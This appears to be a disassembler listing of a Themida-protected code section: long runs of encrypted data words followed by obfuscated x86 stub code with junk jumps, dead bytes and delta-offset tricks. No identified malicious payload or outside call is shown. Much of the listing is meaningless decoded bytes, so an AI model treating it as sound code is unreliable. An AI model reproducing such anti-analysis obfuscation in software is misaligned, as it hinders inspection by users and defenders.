dd 79FF0B20h, 7AEB7347h, 42D0FDE9h, 5DB54DD5h, 0AEF6B659h
dd 0DDBE3256h, 0ABB1325Dh, 0D5B134BFh, 0FCB94B56h, 0F67BC68Ch
dd 0B5B13E29h, 5DB11ED2h, 0A6343D56h, 58B13256h, 0ABB130D2h
dd 3CD05256h, 0EAB132D2h, 75A1DB36h, 33F53256h, 0E8948DA5h
dd 65330F5Dh, 9C443F18h, 690277FDh, 2A4E8A37h, 67BECDA9h
dd 75B1325Ah, 0BAB7B259h, 0D2BE3256h, 0AEB13256h, 57B137EFh
dd 0AA383D56h, 20B13256h, 2D199A5h, 75B1325Ch, 6E55F091h
dd 36005DEEh, 0A758AD24h, 0FB13256h, 0F113941Eh, 0EBB0AE7Fh
dd 90F5408h, 0C9585320h, 0B54ECDA8h, 5DB125D7h, 0AEA3DB56h
dd 0F0F43256h, 41025F47h, 0F683FE7Fh, 2090F6FFh, 0DF2D0EEDh
dd 0BFA14DD5h, 5D15B659h, 22BE3256h, 57B1325Eh, 0ABB3BA59h
dd 0B4D13256h, 0ECA14DD5h, 7578B759h, 3EBE3256h, 5DB13272h
dd 0AEB6DA36h, 0ADF23256h, 0CCF15F5h, 0C5586C56h, 7B13256h
dd 2E8DBA20h, 4FFACCD3h, 31AB0EEFh, 0CFBB1049h, 0DCBE5217h
dd 0ABB13253h, 8938D2E8h, 0EABDDB61h, 0A6773256h, 0E7984F97h
dd 7F255D83h, 25D05337h, 31D13611h, 7A31FCDDh, 5EBE5380h
dd 0EAB1325Ah, 75B7BF59h, 3BBE3256h, 5DB13256h, 0CEBD6DDDh
dd 5845E0E9h, 0A666B319h, 0B4BFF065h, 0EAB301BFh, 75BDDB56h
dd 82223256h, 8928C24h, 0F6EC98D2h, 103ADA4Dh, 0C2085252h
dd 54DAF96Eh, 0B8E8C08Fh, 2A3A5334h, 3DBE525Ah, 5DB13241h
dd 0AEB123BEh, 549D3456h, 0FA20B321h, 0DC2EF0EEh, 0C094602Ch
dd 0CDEA0293h, 0B4A3C42Bh, 5C52DB37h, 25483256h, 0D0BE3611h
dd 0ABB13257h, 0D9EEB9A3h, 0EAB120BFh, 7E014956h, 44EB6B38h
dd 198C1F64h, 22FBD4EDh, 6CCCA234h, 2EBE3A09h, 0D5B132A4h
dd 0EAB135BFh, 96B256h, 4F9E59FAh, 55595204h, 0ECB13256h
dd 0EB3555DCh, 4247C7B0h, 0D5B13251h, 598FF181h, 2E9B3A5Bh
dd 0BAB135BFh, 0C8B8D56h, 59C710C5h, 53E6B937h, 0BBE419AAh
dd 69095436h, 8BBA8227h, 7AA56755h, 0BAB12BDDh, 5DA5DB56h
dd 8D8E3256h, 0EE523F72h, 41B6B8B4h, 6BAAE483h, 0E2E12DFCh
dd 2A3A3561h, 0BABDDB5Ah, 550C3256h, 937F08ACh, 72BB4331h
dd 719A4404h, 0D5B135BFh, 0C5CC2556h, 0E40FC241h, 0B5B4D9D5h
dd 5DB135D9h, 0AF3D3D56h, 0AEB13256h, 7D3A5436h, 0B4CEF0D6h
dd 8CE0520Ch, 2BEA96EFh, 7A5853A3h, 0B4B13256h, 0AEB1325Ch
dd 0F8478E22h, 0DFA1FE91h, 5BBE04AFh, 0EAB13278h, 75BFDA36h
dd 3B9B3256h, 0E154A898h, 73EFC327h, 0A90381E3h, 0ABA2DB08h
dd 0BFDC3256h, 837A11E2h, 42A5966Dh, 0EB58ED25h, 3D44B236h
dd 0E93A5352h, 0ECD75252h, 0CBD121D9h, 0B4D0C737h, 3BD6DDDh
dd 75B1325Fh, 364323A4h, 717907FCh, 0F19ACBABh, 57B4DB52h
dd 79613256h, 0DA1FC337h, 0EAB13ADBh, 13495256h, 0D187E4D7h
dd 585AB137h, 47758136h, 57B1325Eh, 3A529715h, 0D5E22475h
dd 0EABCDB37h, 0D7D63256h, 3A2BEC7h, 28086EE4h, 0AD288A58h
dd 4796E3DCh, 20BE5250h, 0D5B13250h, 0EAB1B159h, 0F9BE3256h
dd 0BAB13254h, 0DED05336h, 0A1B22229h, 57B10ED3h, 0A3393D56h
dd 0B5B13256h, 207D8D30h, 15D044E0h, 0BAB3B859h, 0AE003256h
dd 0AEBEDB36h, 70C03256h, 992D56BAh, 0BC68BF85h, 7BA6349Fh
dd 0BF3A54F9h, 0B5F05337h, 5DB136D4h, 763A5256h, 0AF681937h
dd 0AAB06EDFh, 2A4E8AAAh, 0FE58CDA9h, 0B4B13256h, 0B92623C7h
dd 7E6A31E6h, 4FAD5036h, 0D65AF233h, 53CC30EBh, 0D5B137EFh
dd 6EBE5256h, 75B13254h, 49D0C5DDh, 5DA1DBFDh, 3B073256h
dd 9B9F2EB7h, 52E82DFFh, 65452AB7h, 6A58107Ch, 7A4ECDADh
dd 0BAB13ADCh, 5F333D56h, 0CEB13256h, 5E585337h, 28B13256h
dd 2CB85E9Ah, 0D0767FE7h, 93305236h, 0C730FD65h, 3D785337h
dd 0AEB13CBFh, 0A2219856h, 0B7AFEA6h, 0B4720273h, 32C2AA6h
dd 75B1325Fh, 1ED36A88h, 0D5507B4Bh, 0BE7353F7h, 58E4CA56h
dd 0ABB12AD0h, 8EE75256h, 0EAB13CBEh, 5BD67656h, 7816D2F3h
dd 1CD5CD52h, 0F0F96589h, 58363D37h, 42B13256h, 0D5B1325Ch
dd 0ECBFE996h, 406DF608h, 563ADE3Ch, 0A175B1AAh, 0AB5852AFh
dd 0D7B13256h, 0BFBE4AE3h, 0D5B132BEh, 306856h, 73A7E72Ch
dd 3ACBAAh, 5BA7A3A8h, 0CE4D52AEh, 0EC76B330h, 98D053CBh
dd 0D5B4DB9Fh, 0F9A53256h, 0F6415237h, 3EBE3269h, 5DB13102h
dd 57B6B9A3h, 37BD47A9h, 6C666DECh, 0D5BADA7Eh, 593B3256h
dd 79BBBCCFh, 4D6AD5C6h, 0A2D06DE0h, 0A5583A23h, 0DEB13256h
dd 5C2CA93Bh, 39FF46Eh, 61BE5EB8h, 75B13246h, 0BAB139BFh
dd 11308A56h, 6CB43CAEh, 0DE806E7Ch, 0A03A3D06h, 3CB13256h
dd 0EAB13250h, 0E48D2C91h, 0B6580410h, 0C2B13256h, 0BA630782h
dd 0E67F5443h, 432F72E2h, 0D5B13142h, 0EABFB859h, 7AD13256h
dd 0BAB132D7h, 0D756B356h, 0CFAF9F66h, 0D2BEF25Dh, 0ABB13246h
dd 29B6B9AFh, 0EAB110BFh, 74353D56h, 43B13256h, 52A5F5D5h
dd 0AEB13ED7h, 513A3D56h, 0A4B13256h, 0D5B132D0h, 15F0DB56h
dd 0FC49CDA9h, 454DCE13h
dd 0A2483E23h, 22BE3A23h, 57B13244h, 4240B936h, 0D5B1325Fh
dd 8F4DF296h, 22D7FE6Bh, 8D4E53CFh, 5F13DAAFh, 0A1583256h
dd 92B13256h, 6495E7E6h, 0AB10FC00h, 9AD7AD2Fh, 0B5BA80F3h
dd 0BAAAB659h, 4D583256h, 20B13256h, 34178952h, 10DC9B4Ch
dd 0B17DEFFh, 36A586Ch, 75B1306Ah, 46F4B9AEh, 5B353D36h
dd 2FB13256h, 5063EA8Dh, 783A545Eh, 0D9383D37h, 3B13256h
dd 75B13251h, 0AA39C850h, 6476F086h, 0A3333D51h, 37B13254h
dd 54D0C8DDh, 56BECE13h, 0EAB1325Ah, 0BDCD8836h, 0B60F310Ah
dd 3CEDC0ADh, 0AEB54DD5h, 5789B659h, 0BB583256h, 63B13256h
dd 0F3E374A3h, 8BB11E4Bh, 7CD7AFCEh, 0DE4C4B6Ah, 0A1B13E29h
dd 57B12BD2h, 0ABB9DB56h, 0A8F43256h, 44EE92D3h, 3D58E9AAh
dd 0B5B13256h, 5DB133D7h, 5109CE56h, 0BE4ECDA9h, 0ABB13259h
dd 547129A6h, 0FD4114D2h, 0D8013F9Dh, 3CBA823h, 5DB13253h
dd 0AEB0B359h, 0A4493256h, 5C3052FDh, 83422A47h, 8B60B930h
dd 8A4FD0BFh, 0BAB4DBA9h, 0F7CF3256h, 2D47FA09h, 58B42229h
dd 0ABB158D2h, 0D5A1DB56h, 570E3256h, 0B6EB4E36h, 43E3D445h
dd 3EEA222h, 0D132E035h, 0D2BE3446h, 0ABB13222h, 0D5B0BD59h
dd 0AB443256h, 71F6B9AAh, 460E5436h, 5DA3DBC6h, 4E873256h
dd 0BF960F58h, 0AADC4DCCh, 0B7AF67CBh, 2A97E6ECh, 79EEB937h
dd 7331CA36h, 9658534Bh, 47B13256h, 57B13259h, 0F5E46FFFh
dd 0F2B1CFh, 0E6E5E023h, 0FED7ECECh, 3DBE3611h, 5DB13257h
dd 0A2EEB9A3h, 287EB336h, 42A49021h, 0D5B1325Fh, 2B67398Eh
dd 0BBEF023Ch, 3D58538Fh, 0A8B13256h, 0CEB575DDh, 0BE6A8D59h
dd 0ABB13247h, 0C88C0EBCh, 87AFF47Eh, 0BE92863Ch, 0AE15093Fh
dd 23A5361h, 693A525Ah, 57B122BFh, 728CD256h, 0BC97AD6Fh
dd 8FCDB31Eh, 0DDD9ACEBh, 0E59A53EBh, 0B632CA52h, 0AEB6DB53h
dd 0F7EC3256h, 61BFE591h, 0C5CEB1A4h, 0C5343D55h, 15B13256h
dd 0BAB137BFh, 7A350256h, 653A791Fh, 47585237h, 0F2B13256h
dd 0EB0BDE4Bh, 5C5F72B2h, 342C6764h, 0DA0DDD80h, 3B2DFFD6h
dd 0CFD0C9DDh, 8E9ACE17h, 310E5436h, 8938537Ch, 62BE3357h
dd 75B1325Ch, 0B5D05236h, 5DB132DDh, 51095356h, 0A24ECDA9h
dd 0ABB137EFh, 36305256h, 0C17C911Ah, 0DE42CE37h, 0BAB0BA59h
dd 0B4483256h, 514ECF21h, 57B139BFh, 2990FE56h, 0CCAE5B91h
dd 543EB9B6h, 75B4DB37h, 63EA3256h, 94D511A9h, 543A5436h
dd 0A557B330h, 0A37353ADh, 0DF595256h, 14B13256h, 861C7CFDh
dd 67E75E55h, 27FB8EBh, 0CF488559h, 423C3D03h, 42B13256h
dd 0D5B13246h, 5056CB21h, 62474631h, 7A0503D7h, 24C22B36h
dd 0BA58DEDDh, 0D3B13256h, 3667FDF2h, 0D0952912h, 3C43D166h
dd 429E2FCCh, 399B1372h, 5158CE92h, 72B13256h, 2964F008h
dd 87236813h, 0B592F739h, 0EAB126BFh, 8E779D56h, 78851E87h
dd 18DC995h, 0DBE7A6D5h, 2830AF43h, 0A3F4B95Ch, 0BB085236h
dd 8BE7E79Bh, 75B3B859h, 0E3E33256h, 51F40937h, 0AEC9B059h
dd 6C443256h, 2CBE2213h, 0D5B13238h, 0EAB121BFh, 8CB65D56h
dd 1C2A7281h, 0CF6F3C15h, 0D909BE3Eh, 91CFD64Ah, 0ABBFBF59h
dd 0DC583256h, 0FDB13256h, 0B7C89969h, 6A814E40h, 5D4D7791h
dd 0A1B13256h, 57B13CD5h, 78305256h, 0F181B1AEh, 0EAB1B859h
dd 9CD03256h, 0BAB1320Fh, 5DADB959h, 47D13256h, 57B13245h
dd 1AC8511h, 67FBF62Ah, 8973A699h, 0CEED3C0h, 0EB4118D8h
dd 18765308h, 0AEB133AAh, 56383D56h, 52B13256h
db 36h
dword_5B8EA1 dd 0D7B4D152h ; DATA XREF: Themida_:loc_54F344r
; Themida_:005A52A7r ...
db 0C5h, 17h, 0EAh
; ---------------------------------------------------------------------------
rcl byte ptr [edx], 1
sar bh, 1
xchg dl, [ebx+58h]
lodsb
push esi
xor dh, [ecx-4ECDB84Ch]
scasb
add ah, ah
mov ch, 94h
retn
; ---------------------------------------------------------------------------
db 0FEh, 0CFh, 55h
dd 50F93D8h, 104B7D6h, 705853F2h, 30B13256h, 387D98DBh
dd 0A14D77DDh, 57B13EDEh, 0AD333D56h, 0DAB13256h, 0EAB132DBh
dd 7358FB56h, 0DBB13256h, 801161E0h, 0BF363D41h, 0BEB13256h
dd 0ABB1325Ah, 33D9AE0Ch, 0F00BA27Fh, 695106ACh, 0DAB13E94h
dd 0DF52B330h, 0AD353D74h, 31B13256h, 0FED0F8DDh, 0D5B13CBFh
dd 768AF356h, 0D2DF032Dh, 8415E766h, 0D6594C78h, 0A6393DBAh
dd 58B13256h, 0ABB130D6h, 56D05256h, 3D1CE92h, 75B13251h
dd 414DFC9Dh, 0B4ECC751h, 0AEB13242h, 0C69F6999h, 91FAA716h
dd 1F86E703h, 0E69373A7h, 4AAEAD7Eh, 53D15237h, 5DB13259h
dd 12135A1Eh, 22922CB2h, 7117E6h, 2055F2CEh, 0EAB9DB37h
dd 0AF5A3256h, 7EBB04E1h, 5D59179Eh, 0F4B13256h, 8C9DD8D7h
dd 0CDD13440h, 0DB58EADDh, 0ADB13256h, 7709232Eh, 22A70BCh
dd 94DA74CAh, 9D445376h, 0A93A529Fh, 0CBD06D01h, 0ED62B330h
dd 0E10A5432h, 0AE8253BFh, 0BABBB259h, 0FD13256h, 1C5BB30Fh
dd 36967448h, 0ABB13FBFh, 0F6DC156h, 4E220184h, 0C2DF333Ah
dd 0E73817BCh, 0E73ACBAAh, 0A8A7A3A8h, 57B13ABFh, 0A78BC256h
dd 9177876h, 0EA8EB149h, 7792B659h, 3FBE3256h, 5DB1325Ah
dd 0AEB7B559h, 0D6BE3256h, 0ABB13256h, 0DA4E0DD5h, 0EAB117D3h
dd 0B232CB56h, 0BABEDB42h, 41163256h, 6A4E96A2h, 2E78679h
dd 0D63AEC4Fh, 6B58CA6Dh, 0E54ECDA9h, 75B133D8h, 0C532CE56h
dd 0D9BE3252h, 0AEB13279h, 57B6DBAEh, 58F33256h, 24A96698h
dd 0E6CEB171h, 6D353D56h, 0B5B13256h, 5DB133DEh, 8E58CA56h
dd 0BEB13256h, 0ABB13251h, 21580AE6h, 158A4C05h, 0F648CE13h
dd 33BE2691h, 5DB13257h, 51DADBA3h, 0D444CDA9h, 0A4B42229h
dd 0D5B15FD2h, 0E63B3D56h, 7AB13256h, 0BAB134D1h, 5D3C3D56h
dd 2DB13256h, 58B72229h, 0ABB1B0D3h, 30055256h, 61BECB36h
dd 75B13256h, 53F05337h, 5DB1325Ah, 0FBFBCBB6h, 0BBB70E33h
dd 9F14C863h, 0DAB575DDh, 0EAB136DFh, 903B5256h, 0B6EEB937h
dd 5DB121BFh, 0D3524356h, 4EF0A455h, 611B2934h, 0C295AFA0h
dd 8833B8D9h, 75B18ABFh, 42E05256h, 1A3A530Fh, 0AEBEDB52h
dd 0E7853256h, 35855ABCh, 64396317h, 1D2ABD78h, 79EEB9A0h
dd 0BAB13EBFh, 6138A556h, 33CAFA9Ch, 0E9C9BC41h, 0ABC2DBBFh
dd 5E4D3256h, 61443611h, 13D13E09h, 528A24E8h, 5DB1325Fh
dd 0E091C20Fh, 9892AA02h, 0F0D05289h, 0DC595237h, 0BAB13256h
dd 11B21941h, 0AEF1B893h, 76D06CAEh, 2DBE3609h, 57B13257h
dd 0AE5AB1AFh, 0D5B0B059h, 0E5443256h, 75B13ED9h, 0BC3F3D56h
dd 52B13256h, 0AEB132D2h, 47CEB156h, 0B9343D55h, 0DAB13256h
dd 0EAB13BDAh, 7A445256h, 0BAB132D8h, 1C445356h, 0A16819AAh
dd 57B13AD7h, 0A9373D56h, 0B5B13256h, 0EBEDBB37h, 0CAD15257h
dd 9A1F19D9h, 3CD15237h, 9068B330h, 0EFD05368h, 544ECDA9h
dd 0D5A1BD59h, 0E1583256h, 0FCB13256h, 0C8F0132Bh, 14459DFBh
dd 0AB0875BCh, 37B13256h, 0A8098A01h, 0B4EB20FEh, 0F95899A5h
dd 3FB13256h, 0DDE4EEB2h, 1E14D18Fh, 0E1DCC7C1h, 3A0FA61Dh
dd 49581B5Ch, 0B54ECDABh, 0EAB1B359h, 0F1BE3256h, 0BAB13256h
dd 0DFBE5337h, 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 3C4D77DDh
dd 0EAB13251h, 0B8F3AE02h, 73EAC8DDh, 5DB13FBFh, 0E57A6756h
dd 1F2D0836h, 0B848B92Ch, 56BEFFA2h, 0EAB1325Bh, 0D72F8936h
dd 34BE678Dh, 5DB13256h, 0BA58F137h, 0F4B13256h, 0FE9519ECh
dd 33E890C9h, 595B4F5Eh, 4A5299AFh, 0EAC445D1h, 9B3A5436h
dd 0AEB1B859h, 6D03256h, 0ABA6B759h, 54BE3256h, 0EAB13247h
dd 75B13EBFh, 0F3526F56h, 0DAD9E1A9h, 0BFA03190h, 31D16141h
dd 43D0CBDDh, 0D5B13256h, 0B35BB30Ch, 15B72488h, 0DC43B930h
dd 3C69C6ECh, 0EA2BBFAFh, 0BEB724C5h, 0ABB13242h, 742DFB79h
dd 0AE0446AAh, 809C0825h, 0F2DC56BDh, 45C368F3h, 0AEB156EEh
dd 493A3D56h, 0A4B13256h, 0D5B12AD7h, 0EAA2DB56h, 0E6433256h
dd 59A0F783h, 0F2699A8Bh, 176DDAFFh, 8F4AEDA3h, 0FB4D525Eh
dd 0D5B1BA59h, 8BE93256h, 75B4B1BEh, 0A03F3D56h, 3DB13256h
dd 0AEB1BA59h, 5A583256h, 69B13256h, 0C6E1A209h, 0E791B7ABh
dd 2C798A71h, 0B5BAB937h, 5DB126D3h, 0AEBEDB56h, 0CEAF3256h
dd 0F9F1EA95h, 0FB07C0D5h, 0CD7B3710h, 8D700969h, 0BAB14CBFh
dd 4C3E3D56h, 47B13256h, 57B1325Ah, 3E0C6074h, 82B0D570h
dd 7FE448DCh, 80B57955h, 38BEF36Dh, 5DB13227h, 0AEB122BFh
dd 4D995356h, 0B3FFAE56h, 0DCFACCDh, 1A144C63h, 75B7DBCAh
dd 37843256h, 0A57FBD4Dh, 0CEA17955h, 57B13FBFh, 2B3E3F56h
dd 0E2DB5C5Ch, 45F3C42Fh, 4ED06045h, 0B1333D97h, 3DB13256h
dd 0CF7FB930h, 57B13EBFh, 0E358CB56h, 0B5B13256h, 2A0B8D30h
dd 758CDB37h, 37483256h, 4A383DCCh, 7D4EC750h, 579CDBAFh
dd 24BE3256h, 0D5B13257h, 0DF2BBFA3h, 7AB725DAh, 0BAB134D6h
dd 0A43A5256h, 51D06B05h, 57BCDB85h, 0CF8B3256h, 26BE9F84h
dd 0F851B833h, 2EB4084Dh, 0B57E8536h, 5DB136DBh, 93085456h
dd 0E4853FEh, 0ABA8B659h, 0C1583256h, 1BB13256h, 803B7A1Ah
dd 0C931DCB4h, 0C9FBEC60h, 0D7ADA849h, 0FF7FE4Bh, 0CA69B936h
dd 0AD005295h, 0EAB138BFh, 0D7794956h, 0BC02FB0Ah, 3C7C5A3Fh
dd 0B4323D03h, 58B13256h, 0ABB126D5h, 0D5BEDB56h, 5FF03256h
dd 259F0AD9h, 61963B7h, 4B7F77FCh, 475DB946h, 57B1325Ch
dd 1DCF66E2h, 64C83A54h, 0EA59CA9Bh, 2FB13256h, 5AF1D8D7h
dd 0B4D13440h, 0AEB1325Ah, 0F1F1DE75h, 0F07425FCh, 3E4EE3FAh
dd 61BE53A3h, 75B13257h, 0DAD1C7A3h, 5DBBB459h, 0AB583256h
dd 17B13256h, 0DAE31C5Ch, 307AB330h, 60BE534Ch, 75B1324Ah
dd 0BAA3DB36h, 48913256h, 0D738A8CCh, 0CE84B756h, 75D886FEh
dd 96AC144Dh, 8B45D5D6h, 0E6F588DBh, 38BE3440h, 5DB13257h
dd 0A6F4B9AEh, 57BCB659h, 0A4D13256h, 0D5B132DCh, 7AB78D56h
dd 15D03B91h, 12D7FCD7h, 0D6D1340Dh, 0AE313DA1h, 36B13256h
dd 0CBB6BB37h, 734DDBD7h, 2C3B01A6h, 79F4B937h, 2C0F5436h
dd 3CE86247h, 0CEB575DFh, 0BC43B330h, 0F93E8CF2h, 5ED034F1h
dd 66BE2213h, 75B1325Ch, 0B5EE6536h, 5DB132D0h, 0E9385356h
dd 57BEDB5Ah, 2A403256h, 0DC8DC41Dh, 0E2F537Fh, 2BCD76F6h
dd 0AEF4B9B4h, 5DB13FBFh, 47AC3656h, 416F98B1h, 33472D36h
dd 9238CA73h, 0E73A3D46h, 15B13256h, 7BBBFAD7h, 0DCD76F85h
dd 0CF102B8Fh, 40303D37h, 0A4B13256h, 0D5B123D2h, 0EABDDB56h
dd 0BE523256h, 7599EEFFh, 81A8815Ch, 4778FE2Eh, 57B13242h
dd 0F64EC11Fh, 7C87360Dh, 809A9207h, 1E1BB0D4h, 13DED28Bh
dd 0A8B12294h, 0AEB126BFh, 486AFD56h, 87366C0Dh, 0CBC5FD44h
dd 0F2DCC625h, 18941526h, 0B5585229h, 36B13256h, 6661044Bh
dd 0EB63D37h, 0D69A6BC7h, 5077FFCDh, 0ECA111B3h, 6FD9C711h
dd 0B5192525h, 5DB133DEh, 1B4ECE56h, 51A12F13h, 0ABB137BFh
dd 316B9456h, 6744EB7Ah, 6634B8D3h, 3BD75250h, 0B4FE268Dh
dd 0AEB13246h, 7114AE7Bh, 2480F821h, 272D16D2h, 9FEC7FFh
dd 7A61CD37h, 0BAB123D5h, 563C3D56h, 47B13256h, 57B13250h
dd 85ED14Dh, 3CE3151Ch, 0EAB13247h, 0DCFDB297h, 58F4A4C9h
dd 0E69D6C88h, 4CC25E98h, 813BBF9Ah, 0CBB724C2h, 0B4E7D4D6h
dd 0FE585207h, 8FB13256h, 17F45111h, 3E9EBBAEh, 368E7CBBh
dd 40359272h, 0CBD505B9h
dd 5ED7B3E6h, 3D05385h, 75B1325Dh, 4D147D11h, 0E1F0F186h
dd 51E88EDBh, 57B4DB86h, 73043256h, 8F36C564h, 0E73E3DAFh
dd 9CB13256h, 0BAB1325Eh, 5CB36B50h, 0D484972h, 0C367B0DBh
dd 0CDD13440h, 9557C0D7h, 62D3D9D7h, 89D06E10h, 0B6F18559h
dd 2156B336h, 25F65364h, 8F3A53A1h, 0ABB9B559h, 5ABE3256h
dd 0EAB13254h, 15E35336h, 0E17BB905h, 6CBE53AEh, 0BF5868AEh
dd 18B13256h, 4D2993B6h, 0B2D72E8Fh, 3C37BAC6h, 0E34ED480h
dd 32BEF155h, 5DB13259h, 0AEB138BFh, 2E072556h, 3969A7F1h
dd 0B52AFF04h, 2230E3E0h, 435F4348h, 5733BB37h, 0A5B72245h
dd 0A8393D36h, 0D6B13256h, 97CB7AA6h, 6305414h, 8BD0486Eh
dd 6458F1AFh, 8FB13256h, 47DE09BCh, 0D559D4Bh, 0EFA2CFBFh
dd 3A8C01F2h, 52FCFC51h, 0FE860h, 0A2060000h, 307B3D7Ah
dd 0DDBE8459h, 0A3C5EFD5h, 91C881D8h, 5E4115B6h, 5F616057h
dd 0E861h, 815A0000h, 16E35FEAh, 0BE906h, 0D4B0000h, 72BFB30h
dd 3A8B8D25h, 5E9F595h, 50000000h, 88F49043h, 0F606052h
dd 800FFBB7h, 0
dd 61FD8A61h, 13ED828Bh, 830F0610h, 11h, 0B8A0Fh, 6E90000h
dd 0B3000000h, 5E13C8Eh, 0DE9EBh, 12530000h, 0DE37195Ch
dd 66705119h, 0B9A85C73h, 41C64E6Dh, 0FE9h, 9DAF6C00h
dd 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh, 0F60E1F7h, 28Fh, 0E8616000h
dd 9, 7B41E8D4h, 9E956524h, 615AF5F0h, 88D0F5Ah, 0F000000h
dd 284h, 60616000h, 66DA8B66h, 561D88Bh, 3039h, 0D88B5060h
dd 890F5Eh, 61000000h, 0FFFFFF25h, 8289F57Fh, 61013EDh
dd 1860Fh, 5AF50000h, 0F961F860h, 0BE666059h, 0C361FA33h
dd 51F18A60h, 615ECE8Bh
; ---------------------------------------------------------------------------
loc_5B98B0: ; DATA XREF: Themida_:0054D350o
push ecx
jmp loc_5B98C4
; ---------------------------------------------------------------------------
dw 0CF6Eh
dd 0EC24D470h, 207E3653h, 0E6FEA60Ch
; ---------------------------------------------------------------------------
loc_5B98C4: ; CODE XREF: Themida_:005B98B1j
push edx
jmp loc_5B98D5
; ---------------------------------------------------------------------------
dw 0BAC1h
; ---------------------------------------------------------------------------
mov cl, 0C8h
mov [esi-537096E9h], ch
movsd
loc_5B98D5: ; CODE XREF: Themida_:005B98C5j
jo loc_5B98E2
jl loc_5B98E2
cmc
loc_5B98E2: ; CODE XREF: Themida_:loc_5B98D5j
; Themida_:005B98DBj
call $+5
pop edx
sub edx, 616E47Ch
pusha
pusha
jbe $+6
push edi
pop esi
popa
call near ptr loc_5B9900+4
inc eax
cmc
loc_5B9900: ; CODE XREF: Themida_:005B98F9p
and ds:6160A76Dh, bl
pop eax
popa
clc
mov ecx, eax
cmc
call near ptr dword_5B96C0+0E0h
jmp loc_5B991C
; ---------------------------------------------------------------------------
mov esi, 0C7C806E0h
dec edi
loc_5B991C: ; CODE XREF: Themida_:005B9911j
xor edx, edx
cmc
jmp loc_5B9938
; ---------------------------------------------------------------------------
dd 7A5886D2h, 0DDA1DF3Bh, 99D892AEh, 7F51EE75h, 0E1F2645Ah
; ---------------------------------------------------------------------------
loc_5B9938: ; CODE XREF: Themida_:005B991Fj
div ecx
jnb loc_5B9958
jbe loc_5B9958
jmp loc_5B9958
; ---------------------------------------------------------------------------
std
mov esp, 0F470AFA9h
test al, 9
sub eax, 6C935B82h
loc_5B9958: ; CODE XREF: Themida_:005B993Aj
; Themida_:005B9940j ...
mov eax, edx
stc
pop edx
pusha
jmp loc_5B996A
; ---------------------------------------------------------------------------
dw 9772h
dd 0C607366Ah
db 83h, 0C6h
; ---------------------------------------------------------------------------
loc_5B996A: ; CODE XREF: Themida_:005B995Dj
movsx eax, ax
popa
pop ecx
jnz loc_5B997D
jge loc_5B997D
pusha
popa
loc_5B997D: ; CODE XREF: Themida_:005B996Fj
; Themida_:005B9975j
jmp locret_5B998D
; ---------------------------------------------------------------------------
dw 0EEE0h
dd 0F757016h, 0B28925CBh
db 8Ch
; ---------------------------------------------------------------------------
locret_5B998D: ; CODE XREF: Themida_:loc_5B997Dj
retn
; ---------------------------------------------------------------------------
jbe loc_5B999E
jmp loc_5B999E
; ---------------------------------------------------------------------------
db 0C8h, 21h, 0A6h
db 0B9h, 0CFh
; ---------------------------------------------------------------------------
loc_5B999E: ; CODE XREF: Themida_:005B998Ej
; Themida_:005B9994j
mov eax, eax
jmp loc_5B99B6
; ---------------------------------------------------------------------------
db 93h, 7Fh, 6Ch
dd 0B63D1752h, 0AA8B9DC7h, 252CD0DAh
db 44h, 63h
; ---------------------------------------------------------------------------
loc_5B99B6: ; CODE XREF: Themida_:005B99A0j
jmp loc_5B99C7
; ---------------------------------------------------------------------------
xchg eax, edi
fnstenv byte ptr [ebx]
inc eax
fisubr dword ptr [bp+di-53h]
dec esi
dec dword ptr [esi-47h]
loc_5B99C7: ; CODE XREF: Themida_:loc_5B99B6j
mov eax, eax
pusha
mov ecx, 10678A65h
popa
lea eax, [ebp+616A925h]
pusha
jmp loc_5B99EB
; ---------------------------------------------------------------------------
dd 2317184Ah, 320497BCh, 9DCFB18Bh
; ---------------------------------------------------------------------------
add esi, [esi-2Ah]
loc_5B99EB: ; CODE XREF: Themida_:005B99D7j
sbb dh, 0A5h
popa
call eax
cld
mov ax, cx
cmc
lea eax, [ebp+616E335h]
jmp loc_5B9A15
; ---------------------------------------------------------------------------
db 58h, 0CDh, 99h
dd 0CDC4D5D0h, 2C2E3CCDh, 78EDFDEBh, 2E18317h
db 39h
; ---------------------------------------------------------------------------
loc_5B9A15: ; CODE XREF: Themida_:005B99FCj
pusha
mov eax, edi
call near ptr sub_5B9A2C
push 5777A9B4h
mov al, 0D7h
inc ecx
dec eax
jmp near ptr 45053D4Fh
; ---------------------------------------------------------------------------
db 0F7h
; =============== S U B R O U T I N E =======================================
sub_5B9A2C proc far ; CODE XREF: Themida_:005B9A18p
arg_59CEDEB6 = byte ptr 59CEDEBAh
pop edi
popa
mov [ebp+6101CA1h], eax
jz loc_5B9A4E
jmp loc_5B9A4E
; ---------------------------------------------------------------------------
mov ecx, 84989FCBh
dec edi
clc
cmp eax, [ebp+35h]
pop ecx
xlat
and [edi], ch
nop
loc_5B9A4E: ; CODE XREF: sub_5B9A2C+8j
; sub_5B9A2C+Ej
lea eax, [ebp+616E445h]
jmp loc_5B9A6D
; ---------------------------------------------------------------------------
or [esp+ecx-28h+arg_59CEDEB6], ch
cli
icebp
adc [edi-31h], esi
sbb dword ptr [ecx+7563F7FEh], 0FFFFFFF0h
dec esp
loc_5B9A6D: ; CODE XREF: sub_5B9A2C+28j
jmp loc_5B9A86
; ---------------------------------------------------------------------------
inc esi
xchg eax, esp
retf
; ---------------------------------------------------------------------------
db 68h, 4Fh, 9Ch
dd 71B9A04Fh, 762CAB24h, 644CED89h
db 0FCh, 0A9h
; ---------------------------------------------------------------------------
loc_5B9A86: ; CODE XREF: sub_5B9A2C:loc_5B9A6Dj
mov [ebp+6101EE5h], eax
jg loc_5B9AB1
jge loc_5B9AB1
jmp loc_5B9AB1
; ---------------------------------------------------------------------------
db 0AAh, 0B6h, 96h
dd 0C6507D1Eh, 887941F6h, 41ECB229h, 84922217h
db 79h
; ---------------------------------------------------------------------------
loc_5B9AB1: ; CODE XREF: sub_5B9A2C+60j
; sub_5B9A2C+66j ...
mov eax, 0
pusha
mov ch, bh
mov ax, 0E4BFh
popa
or eax, eax
jz loc_5B9C4C
pusha
push edx
mov si, 53FEh
pop ecx
jmp loc_5B9AE1
; ---------------------------------------------------------------------------
dw 0F77Bh
dd 0ACF015D6h, 1AF25F14h, 0DCB239C2h
db 6Bh
; ---------------------------------------------------------------------------
loc_5B9AE1: ; CODE XREF: sub_5B9A2C+A1j
popa
jo loc_5B9AF0
pusha
mov cx, si
mov cx, di
popa
loc_5B9AF0: ; CODE XREF: sub_5B9A2C+B6j
mov byte ptr [ebp+61023E5h], 56h
pusha
mov edi, 26F9D64Ah
popa
push 0A9C530DFh
clc
push dword ptr [ebp+6101D45h]
pusha
